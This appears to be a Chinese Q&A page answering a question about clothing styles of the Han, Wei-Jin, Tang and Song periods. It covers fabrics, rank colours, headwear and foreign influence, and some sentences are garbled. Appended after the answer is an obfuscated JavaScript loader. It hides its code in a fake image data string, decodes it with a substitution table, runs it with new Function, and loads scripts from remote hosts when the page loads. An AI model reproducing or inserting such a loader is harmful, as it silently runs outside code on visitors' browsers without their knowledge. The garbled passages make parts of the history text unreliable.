列举西汉,魏晋,唐宋四代的服饰特色,并阐述形成其特色的原因
推荐回答(1个)
两汉服饰:这一时期的衣料较春秋战国时期丰富 ,深衣也得到了新的发展。特别在汉代,随着舆服制度的建立,服饰的官阶等级区别也更加严格。秦汉服装面料仍重锦绣。绣纹多有山云鸟兽或藤蔓植物花样,织锦有各种复杂的几何菱纹,以及织有文字的通幅花纹。西汉建元三年(公元前138)、元狩四年(公元前119),张骞奉命两次出使西域,开辟了中国与西方各国的陆路通道,成千上万匹丝绸源源外运,历魏晋隋唐,迄未中断,史称丝绸之路。于是,中华服饰文化传往世界。自秦而汉,深衣有了一些发展和变化。从东汉社会上层来看,通裁的袍服转入制度化。秦代服制与战国时无大差别,保持深衣的基本形制。西汉男女服装,仍沿袭深衣形式。不论单、绵,多是上衣和下裳分裁合缝连为一体,上下依旧不通缝、不通幅;外衣里面都有中衣及内衣,其领袖缘一并显露在外,成为定型化套装。下着紧口大裤,保持“褒衣大裙”风格。足下为歧头履。腰间束带。
魏晋:魏晋和南北朝时期 ,等级服饰有所变革,民族服饰大为交融。冠帽已多用文人沿用的幅巾代替,有折角巾、菱角巾、紫纶巾、白纶巾等。魏初,文帝曹丕制定九品官位制度,“以紫绯绿三色为九品之别”。这一制度此后历代相沿杂而用之,直到元明。晋代的首服除幅巾为社会沿用之外,有官职的男子还戴小冠子,而冠上再加纱帽的称漆纱笼冠,本是两汉武士之制,传之又传,不仅用于男官员,并流传民间且男女通用。
南北朝时,北方少数民族入主中原,人民错居杂处,政治、经济、文化风习相互渗透,形成大融合局面,服饰也因而改易发展。北方民族短衣打扮的袴褶渐成主流,不分贵贱、男女都可穿用。女子衣着“上俭下丰”。东晋末至齐、梁间,衣着为襦裙套装,原始于汉代,晋代时具有了上衣短小、下裙宽大的特色。足穿笏头履、高齿履(一种漆画木屐),流行一时。另一方面,少数民族服饰受汉朝典章礼仪影响,穿起了汉族服装 。鲜卑族北魏朝于太和十八年(494)迁都洛阳后,魏孝文帝推行华化政策,改拓跋姓氏,率“群臣皆服汉魏衣冠 ”。原来鲜卑族穿着夹领小袖衣服这次改革旧俗,史称孝文改制,使秦汉以来冠服旧制得以赓续,推动了中华服饰文化的发展。
唐:隋唐时期,中国由分裂而统一,由战乱而稳定,经济文化繁荣,服饰的发展无论衣料还是衣式,都呈现出一派空前灿烂的景象。彩锦,是五色俱备织成种种花。半臂和衣领边缘服饰。特种宫锦,花纹有对雉、斗羊、翔凤、游鳞之状,章彩华丽。刺绣,有五色彩绣和金银线绣等。印染花纹,分多色套染和单色染。隋唐时期男子冠服特点主要是上层人物穿长袍,官员戴幞头,百姓着短衫。直到五代,变化不大。天子、百官的官服用颜色来区分等级,用花纹表示官阶。隋唐女装富有时装性,往往由争奇的宫廷妇女服装发展到民间,被纷纷仿效,又往往受西北民族影响而别具一格。隋唐时期最时兴的女子衣着是襦裙,即短上衣加长裙,裙腰以绸带高系,几乎及腋下。隋唐女子好打扮。从宫廷传开的“半臂”,历久不衰,后来男子也有穿着的。当时还流行长巾子,系用银花或金银粉绘花的薄纱罗制作,一端固定在半臂的胸带上,再披搭肩上,旋绕于手臂间,名曰披帛。唐代妇女的发饰多种多样,各有专名。女鞋一般是花鞋,多用锦绣织物、彩帛、皮革做成。唐人善于融合西北少数民族和天竺、波斯等外来文化,唐贞观至开元年间十分流行胡服新装。
宋:宋代基本保留了汉民族服饰的风格,辽、西夏、金及元代的服饰则分别具有契丹、党项、女真及蒙古民族的特点。各民族服饰再度交流与融合。
宋代服饰大致有官服、便服、遗老服等三式。宋代官服面料以罗为主,政府因五代旧制,每年要赠送亲贵大臣锦缎袍料,分七宋代灵鹫球纹锦袍等不同花色。官服服色沿袭唐制,三品以上服紫,五品以上服朱,七品以上服绿,九品以上服青。官服服式大致近于晚唐的大袖长袍,但首服(冠帽等)已是平翅乌纱帽,名直脚幞头,君臣通服,成为定制。宋代官服又沿袭唐代章服的佩鱼制度,有资格穿紫、绯色公服的官员都须在腰间佩挂“鱼袋”,袋内装有金、银、铜制成的鱼,以区别官品。“方心曲领”也是朝服的特征,即朝服项间套上圆下方的饰物。宋代官员公服、制服之外的日常便服,主要是小袖圆领衫和帽带下垂的软翅幞头,依然唐式,脚下却改着更便于平时起居的便鞋。宋代遗老的代表性服饰为合领(交领)大袖的宽身袍衫、东坡巾。袍用深色材料缘边,以存古风。东坡巾为方筒状高巾子,相传为大文学家苏东坡创制,实为古代幅巾的复兴,明代的老年士绅还常戴用。
宋代民间首服也有种种流行。男子流行幞头、幅巾,女子则流行花冠和盖头。妇女发式和花冠,是当时对美追求的重点,最能表现宋代装束的变化。唐及五代的女子花冠已日趋危巧,宋代花冠再加发展变化,通常以花鸟状簪钗梳篦插于发髻之上,无奇不有。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();